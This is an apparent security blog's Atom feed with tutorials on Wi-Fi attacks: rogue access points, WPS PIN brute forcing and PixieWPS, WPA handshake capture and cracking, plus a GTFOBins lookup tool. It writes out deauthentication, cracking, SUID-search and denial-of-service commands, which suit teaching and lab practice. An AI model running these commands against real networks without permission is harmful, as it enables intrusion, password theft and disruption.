<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://creep33.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://creep33.com/" rel="alternate" type="text/html" /><updated>2026-03-03T08:31:28+00:00</updated><id>https://creep33.com/feed.xml</id><title type="html">creep33 Website</title><subtitle>Posts about security, CTFs and networking</subtitle><author><name>creep33</name></author><entry><title type="html">Rogue AP Attack</title><link href="https://creep33.com/Rogue-AP/" rel="alternate" type="text/html" title="Rogue AP Attack" /><published>2022-06-07T00:00:00+00:00</published><updated>2022-06-07T00:00:00+00:00</updated><id>https://creep33.com/Rogue-AP</id><content type="html" xml:base="https://creep33.com/Rogue-AP/"><![CDATA[<h1 id="definition">Definition</h1>
<p>This could take the form of an AP plugged into a network without the administrator’s knowledge. It could also take the form of a maliciously-controlled AP that mimics an existing, approved AP.</p>

<h1 id="basics">Basics</h1>
<p>When a client connects to a wireless network, the device will save the network into a list called the Preferred Network List (PNL). A PNL allows devices to reconnect to a familiar network when it is detected again. We will take advantage of this by advertising the same ESSID as an existing AP. If our rogue AP broadcasts a strong signal for the client, the client may attempt to connect to us instead of the existing AP. Even though we might not have the same pre-shared key (PSK) as the AP the client was expecting, we will be able to capture the first two messages of the 4-way handshake. This should give us just the right amount of information to crack the PSK.</p>

<p>There is an additional layer of complexity to this approach. Devices are increasingly sophisticated about which networks to connect to and may save the encryption details in the PNL when the network is saved. This means for a successful attack, our rogue AP will have to match the encryption details of the target.</p>

<h1 id="harvesting-information">Harvesting information</h1>
<p>We will use <strong>airodump-ng</strong> to gather information about our target.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>airodump-ng <span class="nt">-w</span> discovery <span class="nt">--output-format</span> pcap wlan0mon
</code></pre></div></div>

<p><br /></p>
<div style="text-align:center"><img style="width: 75%" src="/assets/images/Wireless/airodumpIMGrogue.png" /></div>
<p><br /></p>

<p>Based on this information, we can deduce that the Mostar network is most likely 802.11n. When we create our rogue AP, we should match these settings as closely as possible to ensure that clients automatically connect to our rogue AP based on their Preferred Network List.</p>

<p>We shouldn’t solely trust the output of airodump-ng since it only shows the highest encryption possible. If the Mostar target network also supports WPA1, that information will not be displayed in the table.</p>

<h2 id="analysing-output">Analysing output</h2>
<p>To get more information, let’s open the output Pcap in Wireshark by running <code class="language-plaintext highlighter-rouge">wireshark discovery-01.cap</code>.
To filter the packet we need, we will use the filter <code class="language-plaintext highlighter-rouge">wlan.fc.type_subtype == 0x08 &amp;&amp; wlan.ssid == "&lt;ssid&gt;"</code> and analyse the beacon frames.</p>

<p><br /></p>
<div style="text-align:center"><img style="width: 75%" src="/assets/images/Wireless/wiresharkIMGrogue.png" /></div>
<p><br /></p>

<h2 id="extracted-info">Extracted info</h2>

<table>
  <thead>
    <tr>
      <th style="text-align: center">Info</th>
      <th style="text-align: center">Extracted</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">ESSID</td>
      <td style="text-align: center">MOVISTAR_FBD8</td>
    </tr>
    <tr>
      <td style="text-align: center">BSSID</td>
      <td style="text-align: center">E6:B4:E6:5C:FB:E6</td>
    </tr>
    <tr>
      <td style="text-align: center">Encryptation</td>
      <td style="text-align: center">WPA2 (AES/CCMP)</td>
    </tr>
    <tr>
      <td style="text-align: center">Auth method</td>
      <td style="text-align: center">PSK</td>
    </tr>
    <tr>
      <td style="text-align: center">Channel</td>
      <td style="text-align: center">1</td>
    </tr>
    <tr>
      <td style="text-align: center">HW specs</td>
      <td style="text-align: center">802.11n</td>
    </tr>
  </tbody>
</table>

<p>It can have multiple encryptation methods, exaple:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">Info</th>
      <th style="text-align: center">Extracted</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">ESSID</td>
      <td style="text-align: center">Mostar</td>
    </tr>
    <tr>
      <td style="text-align: center">BSSID</td>
      <td style="text-align: center">FC:7A:2B:88:63:EF</td>
    </tr>
    <tr>
      <td style="text-align: center">Encryptation</td>
      <td style="text-align: center">WPA (TKIP/CCMP) and WPA2 (TKIP/CCMP)</td>
    </tr>
    <tr>
      <td style="text-align: center">Auth method</td>
      <td style="text-align: center">PSK</td>
    </tr>
    <tr>
      <td style="text-align: center">Channel</td>
      <td style="text-align: center">1</td>
    </tr>
    <tr>
      <td style="text-align: center">HW specs</td>
      <td style="text-align: center">802.11n</td>
    </tr>
  </tbody>
</table>

<h1 id="creating-rogue-ap">Creating rogue AP</h1>
<p>We will use the <strong>hostapd-mana</strong> linux packet (found in apt and in AUR).</p>

<h2 id="building-the-hostapd-mana-configuration">Building the hostapd-mana Configuration</h2>
<p>The configuration file for hostapd-mana has many parameters that can be configured, but we won’t need most of them for this module. The developers have provided an example hostap.conf file. We could examine it and discover which configuration items we need to set.</p>

<p>Insted we will build a simple configuration file with the most relevant parameters.</p>

<p><br /></p>
<div style="text-align:center"><img style="width: 30%" src="/assets/images/Wireless/hostapdCONF1.png" /></div>
<p><br /></p>

<p>The <em>interface</em> parameter will configure hostapd-mana to use the wlan0 interface. Next, the SSID is set to “MOVISTAR_FBD8” with the <em>ssid</em> parameter. Finally, we set the channel to “1” to match the target access point.</p>

<p>By default, hostapd-mana will run in 802.11b. In order to meet our target’s settings, we need to change this to IEEE 802.11n. To accomplish this, we set the ieee80211n parameter to “1” in order to enable 802.11n. Next, we need to specify the band to 2.4 GHz by setting the hw_mode parameter to the letter “g”. If the network was running on 5 GHz, we would set hw_mode to “a”.</p>

<p><br /></p>
<div style="text-align:center"><img style="width: 30%" src="/assets/images/Wireless/hostapdCONF2.png" /></div>
<p><br /></p>

<p>Next, we can move on to the encryption and authentication settings. These will be important for us to configure in a way that mimics the target AP. First, we will set the <em>wpa</em> parameter to the integer “3” to enable both WPA and WPA2 (setting this parameter to “1” enables only WPA and setting the value to “2” enables only WPA2).</p>

<p>We need to set the authentication to PSK and set the key as well. We can enable PSK authentication by setting the <em>wpa_key_mgmt</em> parameter to “WPA-PSK”. To set the key, we’ll use the <em>wpa_passphrase</em> parameter. The value we set the <em>wpa_passphrase</em> parameter to is irrelevant, since we are only attempting to capture a handshake.</p>

<p>Next, to enable TKIP/CCMP encryption with WPA1, we set <em>wpa_pairwise</em> to “TKIP CCMP”. Finally, we set the <em>rsn_pairwise</em> to “TKIP CCMP” as well in order to enable TKIP/CCMP with WPA2 encryption. If the target was using exclusively WPA or WPA2, we would only set <em>wpa_pairwise</em> or <em>rsn_pairwise</em>. The cipher suite for multicast traffic is automatically set by hostapd-mana and we don’t need to make any changes in the configuration for it.</p>

<p>The only configuration that we need to be concerned about is <em>mana_wpaout</em>, which will specify where to save the captured handshakes (in a Hashcat hccapx format). Each handshake that is captured will be appended to this file. We’ll save our captured handshakes to the file named /tmp/FBD8.hccapx</p>

<p>At this point the config file will look somthing like this:</p>

<p><br /></p>
<div style="text-align:center"><img style="width: 60%" src="/assets/images/Wireless/hostapdCONF3.png" /></div>
<p><br /></p>

<h2 id="capturing-handshakes">Capturing Handshakes</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>hostapd-mana FBD8-mana.conf <span class="c"># APT version</span>
<span class="nb">sudo </span>hostapd FBD8-mana.conf <span class="c"># AUR version</span>
</code></pre></div></div>

<p><br /></p>
<div style="text-align:center"><img style="width: 75%" src="/assets/images/Wireless/hostapdRUN.png" /></div>
<p><br /></p>

<p>If a client connects to the AP we will capture the handshake to the hccapx file, if already connected deviced do not reconnect to the new one, we can perform an deathentication attack but we will need another wireless interface.</p>

<p><br /></p>
<div style="text-align:center"><img style="width: 75%" src="/assets/images/Wireless/hostapdRUNCaptured.png" /></div>
<p><br /></p>

<h3 id="deauthentication-attack">Deauthentication attack</h3>
<p>To deauthenticate clients, we first connect a new wireless card and start monitor mode on channel 1 by using airmon-ng. The channel should be set to “1” to match that of our target AP. This is all accomplished by running <code class="language-plaintext highlighter-rouge">sudo airmon-ng start wlan1 1</code>. Next, we can use <strong>aireplay-ng</strong> to run a deauthentication attack (<strong>-0</strong>), continuously (<strong>0</strong>), against all clients connected to our target AP (<strong>-a &lt;bssid&gt;</strong>).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aireplay-ng <span class="nt">-0</span> 0 <span class="nt">-a</span> E6:B4:E6:5C:FB:E6 wlan1mon
</code></pre></div></div>

<h2 id="cracking">Cracking</h2>
<p>The captured handshakes are written to a hccapx file. This format is primarily meant to be used with Hashcat, but we can also crack it with aircrack-ng.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aircrack-ng FBD8.hccapx <span class="nt">-w</span> /usr/share/wordlists/rockyou.txt
</code></pre></div></div>

<p><br /></p>
<div style="text-align:center"><img style="width: 75%" src="/assets/images/Wireless/hostapdCracked.png" /></div>
<p><br /></p>]]></content><author><name>creep33</name></author><category term="Wifi" /><category term="CLI" /><category term="wireshark" /><category term="aircrack-ng" /><category term="hostapd-mana" /><category term="hostapd" /><category term="Wifi Hacking" /><category term="WPA" /><summary type="html"><![CDATA[I wasn't sure about posting this or not, it isn't a commmon way to capture handshaked but I will post it because I find interesting how to configure a WIFI network. In this post we capture a wpa handshake by creating a false AP of the real WIFI and when any client try to connect to our false WIFI network, we will capture the handshake to crack it localy.]]></summary></entry><entry><title type="html">WPS Attacks</title><link href="https://creep33.com/WPS-Attacks/" rel="alternate" type="text/html" title="WPS Attacks" /><published>2022-05-27T00:00:00+00:00</published><updated>2022-05-27T00:00:00+00:00</updated><id>https://creep33.com/WPS-Attacks</id><content type="html" xml:base="https://creep33.com/WPS-Attacks/"><![CDATA[<h1 id="context">Context</h1>
<p>Some WPS implementations are flawed, and a successful attack on an AP with WPS leads to disclosure of the passphrase, no matter how complex it is.</p>

<p>These attacks only work on some APs that advertise WPS in the beacons. APs that do <em>not</em> advertise WPS aren’t vulnerable to any of these attacks.</p>

<p>In this post we will see how to attack an WPS via manual tools, without using wifite or similar tools, this automated tools are realy good but sometimes they report false negatives, and there is no better way to check if something is vulnerable rather than testing it manually.</p>

<h1 id="technology">Technology</h1>
<h2 id="two-roles">Two roles</h2>
<p>The most common scenario is the AP to be the <em>registrar</em> and the client to be the enrolle but this is not always the case.</p>
<ul>
  <li><strong>Enrolee</strong>: device looking to join the network</li>
  <li><strong>Registrar</strong>: configures enrollees to join the network</li>
</ul>

<h2 id="methods-for-setup">Methods For Setup</h2>
<ul>
  <li>Pushing a button</li>
  <li>Inputting a PIN on a device</li>
  <li>Using NFC</li>
  <li>Using a USB flash drive</li>
</ul>

<p>The last two are deprecated and uncommon.</p>

<h3 id="pushing-a-button">Pushing a button</h3>
<p>When WPS setup happens with a button push, it can either be a physical button on the AP or a virtual button in a management web interface.</p>

<h3 id="pin-code">PIN code</h3>
<p>When setting up with a PIN code, two scenarios are possible.</p>

<p><strong>In the first scenario</strong>, the PIN is on the AP, either on a sticker or available through the web interface, and the pin has to be entered by the client wanting to join the network. This might sound confusing, but in this case the AP is the enrollee, and the client device is an external registrar.</p>

<p><strong>In the second scenario</strong>, the PIN is on the client device, and has to be entered in the AP interface, when available. In this case, the client is the enrollee, and the AP is the registrar.</p>

<h2 id="after-setup">After setup</h2>
<p>The WPS process securely transmits the WPA or WPA2 passphrase over wireless using EAP messages. The client first starts probing the AP. This is followed by authentication and association, where WPS is indicated in one of the IE of the association frame.</p>

<p>It begins with an <em>EAP Start</em> message. An <em>EAP request identity</em> from the other party follows. That is answered with an <em>EAP response identity</em> with <em>WFA-SimpleConfig-Enrollee-1-0</em> indicating the device wants to do a WPS exchange. The AP then sends a <em>WSC start</em> to indicate we’re going to start the process.</p>

<p>These are followed by eight <em>EAP request/response</em> messages back and forth, named <em>M1</em> to <em>M8</em>. These messages are used to securely exchange the encryption key, and if a PIN is involved, verify it is correct. Afterward, it usually sends a <em>WSC_DONE</em> message, and an <em>EAP failure</em> message.</p>

<p>The device disconnects using disassociation or deauthentication, then reconnects normally using the credentials it just received.</p>

<h1 id="wps-vulnerabilities">WPS Vulnerabilities</h1>

<h2 id="bruteforce-reaver---bully">Bruteforce (reaver /  bully)</h2>
<p>The main WPS vulnerability exploits the external registrar scenario, where the AP has a WPS PIN.</p>

<p>WPS PINs are typically eight digits long. The last digit is a checksum, which leaves ten million possible PINs. Checking a PIN usually takes between one and three seconds. Brute forcing would take three to four months at best, making it almost pointless; however, we can alter our brute force attack and make it a little more efficient because of how the PIN is verified.</p>

<p>PIN verification is done in two parts. The WPS exchange validates the first half of the PIN, which, if brute forced, would account for only ten thousand possibilities at most. Once the first half is valid, the system verifies the second half. Since the last digit is a checksum, there are only three digits left to verify, and the second half is now one thousand possibilities at most.</p>

<p>The first half of the PIN is verified using messages M1 to M4. If we receive M5, it is correct. If the second half is correct, we receive M7, along with the configuration.</p>

<h2 id="pixiewps-reaver-fork">PixieWPS (reaver fork)</h2>
<p>The PixieWPS attack, disclosed in 2014, takes advantage of the weak random number generator used in a few chipsets, which means not all WPS implementations are vulnerable. As opposed to the brute force technique, this technique requires minimal interaction with the AP to gather the data needed for the attack, which is then brute forced offline. The current version of reaver, which has been forked from the original and subsequently improved on, integrates the PixieWPS attack.<em>**</em></p>

<h2 id="phisical-attack-ninja-skills">Phisical Attack (ninja skills)</h2>
<p>Finally, note that many APs have a sticker on the bottom that may include valuable information like MAC addresses, serial numbers, and, in some cases, a default WPS PIN or even the passphrase. Because administrators leave the default settings in place, sometimes all it takes to find the passphrase is to physically pick up the AP and turn it over.</p>

<h1 id="wps-attack">WPS Attack</h1>
<h2 id="monitor-mode">Monitor mode</h2>
<p>As always we will need to set our wifi interface into <strong>monitor</strong> mode.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>airmon-ng check <span class="nb">kill
</span>airmon-ng start wlan0
</code></pre></div></div>

<h2 id="check-wps">Check WPS</h2>
<p>To check if it is WPS on the target AP we will use a tool called <strong>wash</strong> with the “-i” parameter</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wash <span class="nt">-i</span> wlan0mon
</code></pre></div></div>

<p><br /></p>
<div style="text-align:center"><img style="width: 75%" src="/assets/images/Wireless/washScan.png" /></div>
<p><br /></p>

<p>Each row represents an AP with WPS. The first column is the BSSID, and the second one is the channel, followed by the signal level reported by the card. The <em>WPS</em> column represents the WPS version. Version 2 mandated mitigations to prevent brute forcing, which, depending on the implementation, may just slow down a bruteforce attack. The <em>Lck</em> indicates if WPS is locked, meaning an attack is pointless at this time. The <em>Vendor</em> column indicates the wireless chipset vendor, which is sometimes advertised in the beacon. The last column is the ESSID of the AP.</p>

<p>Wash scans the 2.4GHz band by default. To make it scan 5GHz, we can append the ”-5” option to the command. Alternatively, we can use airodump-ng to display WPS information using ”–wps”.</p>

<h2 id="reaver-bruteforce-attack">Reaver bruteforce attack</h2>
<p>We will now use reaver to attack our <em>wifi</em> AP. We have to specify the BSSID of the AP we gathered earlier using wash with -b, the wireless interface using -i, and a very verbose output with -vv.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>reaver <span class="nt">-b</span> A0:0B:BA:F0:9F:B2 <span class="nt">-i</span> wlan0mon <span class="nt">-vv</span>
</code></pre></div></div>

<p><br /></p>
<div style="text-align:center"><img style="width: 75%" src="/assets/images/Wireless/reaverAttackStart.png" /></div>
<p><br /></p>

<div style="text-align:center"><img style="width: 75%" src="/assets/images/Wireless/reaverAttackEnd.png" /></div>
<p><br /></p>

<p>Note that some drivers have trouble with reaver and won’t switch channels to find the AP. This is the case when the output of reaver is stuck at “Waiting for beacon from XX:XX:XX:XX:XX:XX” for a long time. In this case, we have to add the channel parameter (-c) followed by the channel gathered by wash.</p>

<h2 id="reaver-pixiewps-attack">Reaver PixieWPS attack</h2>
<p>The method described here will take a long time, and even longer in the event the AP has countermeasures. Earlier, we described the PixieWPS attack. When successful, it will give us results much more quickly. To try it, we will add an additional option to the reaver command, and use -K.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>reaver <span class="nt">-b</span> A0:0B:BA:F0:9F:B2 <span class="nt">-i</span> wlan0mon <span class="nt">-vv</span> <span class="nt">-K</span>
</code></pre></div></div>

<p><br /></p>
<div style="text-align:center"><img style="width: 75%" src="/assets/images/Wireless/PixieWPSStart.png" /></div>
<p><br /></p>

<div style="text-align:center"><img style="width: 75%" src="/assets/images/Wireless/PixieWPSEnd.png" /></div>
<p><br /></p>

<p>One alternative to this method is to use bully with -d, which will attempt to run PixieWPS with the values we recovered from bully. We would also need to specify verbosity to display these values, with -v 4. The output can be a bit confusing, but the data for PixieWPS starts with the display of the <em>Enonce</em> and ends with the output of <em>E-Hash2</em>.</p>

<p>PixieWPS should work when provided with only the required parameters. Sometimes we also need to provide the -m option as well. Once the PIN is recovered, we can provide it to bully to do a single PIN try, using -B -p followed by the PIN, to recover the passphrase.</p>

<h1 id="variations">Variations</h1>
<p>WPS implementation vary from a vendor to another, which is why reaver and bully have so many options. A few APs, however, do not have a PIN (it is left blank). Both reaver and bully can verify a single pin, and in order to use an empty PIN, we will use -p ‘’.</p>

<p>Some other implementations have default PIN values that depend on the first three bytes of the BSSID. One project, airgeddon, has compiled a list of these in the file known_pins.db.</p>

<p>As a quick example, let’s use this file to check if our particular AP has default pins. We can install the airgeddon package with apt.</p>

<p>We’ll use source to execute a shell script, known_pins.db, which loads an array of PINs into memory. Finally, we’ll check the database for an AP whose BSSID starts with “0013F7”. It is case sensitive and the first three bytes must be uppercase.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt <span class="nb">install </span>airgeddon
<span class="nb">source</span> /usr/share/airgeddon/known_pins.db
<span class="nb">echo</span> <span class="k">${</span><span class="nv">PINDB</span><span class="p">[</span><span class="s2">"0013F7"</span><span class="p">]</span><span class="k">}</span>
<span class="c">#Output: 14755989 48703970 06017637</span>
</code></pre></div></div>

<p>The command returns three PINs in this example, which are shown separated by a space character. If there was no match, the output would have been empty. We can manually test each one of these PINs with reaver or bully.</p>

<h1 id="troubleshooting">Troubleshooting</h1>
<h2 id="attack-choice">Attack Choice</h2>
<p>The PixieWPS attack is preferable to brute forcing whenever possible, but it’s important to remember that not all chipset random number generators are vulnerable. We will often have to resort to brute force the PIN.</p>

<p>Brute forcing may sometimes be met with countermeasures from the AP. Since implementations vary, we can sometimes work around the countermeasures using the timing options in reaver.</p>

<h2 id="wps-transaction-failure">WPS Transaction Failure</h2>

<p>Sometimes, after finding the PIN with PixieWPS, we receive the following from reaver.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[!]</span> WPS transaction failed <span class="o">(</span>code: 0x03<span class="o">)</span>, re-trying last pin
</code></pre></div></div>

<p>It could be just a temporary failure, in which case we would need to restart reaver without the PixieWPS option. When we restart, reaver will prompt to restore previous session, which has the correct PIN. If we continue to receive this error, we will need to try another wireless card.</p>

<h2 id="ack-issues">ACK Issues</h2>

<p>Reaver seems to have issues with certain chipsets that do not behave the way it expects. For example, reaver might keep trying the same PIN when verbose mode (using -vv) is set. When increasing verbosity with -vv, we might notice a dozen instances of the following pair of messages.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>+] Sending identity response
<span class="o">[</span>+] Received identity request
</code></pre></div></div>

<p>This is caused by the wireless card not acknowledging frames sent by the AP, which makes the AP re-transmit them a few times before giving up and trying again.</p>

<p>We might also recognize this in a packet capture when reaver does the authentication and association.</p>

<p>The easiest solution to this is to try a different wireless card with a different chipset.</p>

<h2 id="wps-lock">WPS Lock</h2>

<p>When WPS is locked, we can do a denial of service on the access point using <em>mdk3</em> or its successor, <em>mdk4</em>. In some cases, this will trigger a reboot of the AP, which releases the lock.</p>

<p>We can use authentication DoS, EAPOL Start DoS, or the EAPOL Logoff flood attack. We may need multiple wireless cards to carry out the attack, overflow the AP, and make it crash so that it reboots.</p>]]></content><author><name>creep33</name></author><category term="Wifi" /><category term="CLI" /><category term="wash" /><category term="reaver" /><category term="bully" /><category term="Wifi Hacking" /><category term="WPS" /><summary type="html"><![CDATA[In this post we will see how to attack an WPS via manual tools, without using wifite or similar tools, this automated tools are realy good but sometimes they report false negatives, and there is no better way to check if something is vulnerable rather than testing it manually.]]></summary></entry><entry><title type="html">GTFOBins Explorer</title><link href="https://creep33.com/gtfobins-explorer/" rel="alternate" type="text/html" title="GTFOBins Explorer" /><published>2022-05-19T00:00:00+00:00</published><updated>2022-05-19T00:00:00+00:00</updated><id>https://creep33.com/gtfobins-explorer</id><content type="html" xml:base="https://creep33.com/gtfobins-explorer/"><![CDATA[<p>Terminal explorer tool to search on <a href="https://gtfobins.github.io/">GTFOBins website</a>, this website is focused on binary exploitation mostly in privilege escalation. Insted of needing to open out browser, google for “gtfobins” and searching our binary, we just need to type out binary in out terminal.</p>

<h1 id="installation">Installation</h1>

<p>The Arch Linux version (GTFOBins-Explorer-ng file) depends on <strong>mdcat</strong>, wich is automaticaly installed with paru, if you want to use this version, search how to install <strong>mdcat</strong> in your distro. If not you can just use the normal version and follow the steps described below.</p>

<h2 id="arch-linux">Arch Linux</h2>
<p>I have uploaded it to the AUR repo so you just need to:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>paru <span class="nt">-S</span> gtfobins-explorer-git
</code></pre></div></div>
<p>It will create an executable in /usr/bin/gtfobins</p>

<h2 id="other-distros">Other Distros</h2>
<p>It is important to install html2text with pip2/python2.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/creep33/GTFOBins-Explorer.git
<span class="nb">cd </span>GTFOBins-Explorer
<span class="nb">sudo </span>python2 <span class="nt">-m</span> pip <span class="nb">install </span>html2text
<span class="nb">sudo mv </span>GTFOBins-Explorer /usr/bin/gtfobins
</code></pre></div></div>

<h1 id="usage">Usage</h1>
<h2 id="single-binary-search">Single binary search</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gtfobins &lt;binary&gt;
</code></pre></div></div>
<p>It will display the multiple options for the binary specified (If there are).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gtfobins &lt;binary&gt; <span class="s2">"&lt;option&gt;"</span>
</code></pre></div></div>

<p>It will display the exact text as if you have searched it in the official GTFOBins website.</p>

<h3 id="example-archng-version">Example (arch/ng version)</h3>

<p>For the example we will use <strong>awk</strong> binary.</p>

<div style="text-align:center"><img src="/assets/images/Tools/gtfobins/gtfobins-explorer-nooption.png" /></div>
<p><br /></p>

<p>For some reason we are not focusing on why, we will display the “File Read” option.</p>

<div style="text-align:center"><img src="/assets/images/Tools/gtfobins/gtfobins-explorer-yesoption.png" /></div>
<p><br /></p>

<p>And now if we compare it with the official page we will see it is the same.</p>

<div style="text-align:center"><img src="/assets/images/Tools/gtfobins/gtfobins-explorer-officialpage.png" /></div>

<h2 id="multiple-search">Multiple search</h2>

<p>We can input a file which must be the output of the <code class="language-plaintext highlighter-rouge">find / \-perm -4000 2&gt;/dev/null</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gtfobins <span class="nt">-f</span> file
</code></pre></div></div>
<p>Or if you don’t want to create the file you can just:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / <span class="se">\-</span>perm <span class="nt">-4000</span> 2&gt;/dev/null | gtfobins <span class="nt">-f</span> -
</code></pre></div></div>

<p>And it will search all the binaries in GTFOBins Website.</p>]]></content><author><name>creep33</name></author><category term="Tools" /><category term="CLI" /><category term="GTFOBins" /><category term="GTFOBins Explorer" /><summary type="html"><![CDATA[Terminal explorer tool to search on GTFOBins website, this website is focused on binary exploitation mostly in privilege escalation.]]></summary></entry><entry><title type="html">WPA cracking with aircrack-ng</title><link href="https://creep33.com/WPA-Cracking-With-Aircrack/" rel="alternate" type="text/html" title="WPA cracking with aircrack-ng" /><published>2022-05-11T00:00:00+00:00</published><updated>2022-05-11T00:00:00+00:00</updated><id>https://creep33.com/WPA-Cracking-With-Aircrack</id><content type="html" xml:base="https://creep33.com/WPA-Cracking-With-Aircrack/"><![CDATA[<h1 id="getting-a-handshake">Getting a handshake</h1>
<h2 id="set-interface-to-monitor-mode">Set interface to monitor mode</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>airmon-ng check <span class="nb">kill
</span>airmon-ng start wlan0
</code></pre></div></div>

<h2 id="choose-a-target">Choose a target</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>airodump-ng wlan0mon
</code></pre></div></div>

<p>We will choose a target who has <strong>PSK</strong> auth method, and we will store the <strong>chanel</strong>, the <strong>bssid</strong> the <strong>essid</strong> and a <strong>client bssid</strong>.</p>

<p>Example target:</p>
<ul>
  <li>ESSID: wifu</li>
  <li>BSSID: 34:08:04:09:3D:38</li>
  <li>Channel: 3</li>
  <li>Client BSSID: 00:18:4D:1D:A8:1F</li>
</ul>

<p><img src="/assets/images/Wireless/Airodump-ng_example.png" alt="Airodump-ng_example" /></p>

<h2 id="prepare-our-capture-scenario">Prepare our capture scenario.</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>airodump-ng <span class="nt">-c</span> 3 <span class="nt">--essid</span> wifu <span class="nt">--bssid</span> 34:08:04:09:3D:38 <span class="nt">-w</span> wpa wlan0mon
</code></pre></div></div>

<p>We will store the capture into “wpa.*” files.</p>

<h2 id="deathenticate-a-client">Deathenticate a client</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aireplay-ng <span class="nt">-0</span> 1 <span class="nt">-a</span> 34:08:04:09:3D:38 <span class="nt">-c</span> 00:18:4D:1D:A8:1F wlan0mon
</code></pre></div></div>

<h3 id="troubleshooting">Troubleshooting</h3>
<ul>
  <li>Some wireless drivers ignore directed deauthentication and only respond to broadcast deauthentication. We can run the same aireplay-ng deauthentication command without the -c parameter.</li>
</ul>

<h2 id="cracking-hash">Cracking Hash</h2>
<p>Once the client reconnects with the target AP, airodump-ng will be able to capture a handshake.</p>

<p><img src="/assets/images/Wireless/HandShake.png" alt="HandShake" /></p>

<p>Before terminating airodump-ng with <code class="language-plaintext highlighter-rouge">&lt;ctrl&gt;+c</code>, let’s continue to capture traffic between the client and the AP. This additional data will assist us in confirming the key is correct later on.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aircrack-ng <span class="nt">-w</span> /usr/share/john/password.lst <span class="nt">-e</span> wifu <span class="nt">-b</span> 34:08:04:09:3D:38 wpa-01.cap
</code></pre></div></div>

<h3 id="troubleshooting-1">Troubleshooting</h3>
<ul>
  <li>If 802.11w is in use, unencrypted deauthentication frames are ignored. The only course of action is to wait for a client to connect.</li>
  <li>The device simply didn’t reconnect or was already out of range of the AP.</li>
</ul>

<h2 id="verifying-its-validity">Verifying its validity</h2>
<p>Aircrack-ng successfully cracked our easy passphrase. However, we should confirm it is correct. It is possible that we captured a client’s unsuccessful attempt to connect to the network. This is where we make use of the additional traffic we captured between the client and the AP.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>airdecap-ng <span class="nt">-b</span> 34:08:04:09:3D:38 <span class="nt">-e</span> wifu <span class="nt">-p</span> 12345678 wpa-01.cap
</code></pre></div></div>
<p>(Obviously the -p parameter if for the cracked passphrase)</p>

<p>Our results show airdecap-ng successfully decrypted 37 packets. In some cases, where there is a pause in decryptable traffic, airdecap-ng may indicate “0” even if the passphrase is correct.</p>

<h3 id="troubleshooting-2">Troubleshooting</h3>
<ul>
  <li>
    <p>Another way we can confirm our passphrase is to use Wireshark and add it to a capture as described in the Wireshark module.</p>
  </li>
  <li>
    <p>Another option is to capture another handshake with airodump-ng and capture more follow-on traffic. We may be able to just capture traffic between the same client and AP, then combine both capture files if little time has elapsed. Rekeying can happen up to an hour after initial handshake.</p>
  </li>
</ul>

<h1 id="custom-wordlists-to-crack">Custom wordlists to crack</h1>
<h2 id="search-for-router-default-patterns">Search for router default patterns</h2>
<p>It is rare to know an AP’s model prior to an engagement, but we can determine some information about the device’s manufacturer from its <a href="https://portal.offensive-security.com/courses/pen-210/books-and-videos/modal/modules/cracking-authentication-hashes/custom-wordlists-with-aircrack-ng/custom-wordlists-with-aircrack-ng#fn3">IEEE <em>Organizationally Unique Identifier</em> (OUI)</a>. To do this, we’ll look in the first three bytes of the BSSID.</p>

<h2 id="expand-wordlists">Expand wordlists</h2>
<p>In addition to all of this, there are many tools that can mangle and expand our wordlists. We will focus on three popular ones.</p>

<ul>
  <li><em>John the Ripper</em>, also known as John or abbreviated as JtR</li>
  <li><em>Crunch</em></li>
  <li><em>RSMangler</em></li>
</ul>

<p>While all of these tools will mangle words, Crunch is a bit different because it is mostly used to create wordlists from scratch. The capabilities of these tools also overlap, and two tools often can achieve the same result. It’s likely that the tool we choose will depend on personal preference.</p>

<h2 id="pipe-john-rules-to-aircrack-ng">Pipe John rules to aircrack-ng</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>john <span class="nt">--wordlist</span><span class="o">=</span>/usr/share/john/password.lst <span class="nt">--rules</span> <span class="nt">--stdout</span> | aircrack-ng <span class="nt">-e</span> wifu <span class="nt">-w</span> - wpa-02.cap
</code></pre></div></div>

<h2 id="aircrack-ng-with-crunch">Aircrack-ng with CRUNCH</h2>
<h3 id="crunch-usage">Crunch usage</h3>
<p>Given a pattern and a character set or words, Crunch is able to generate all possible combinations.</p>
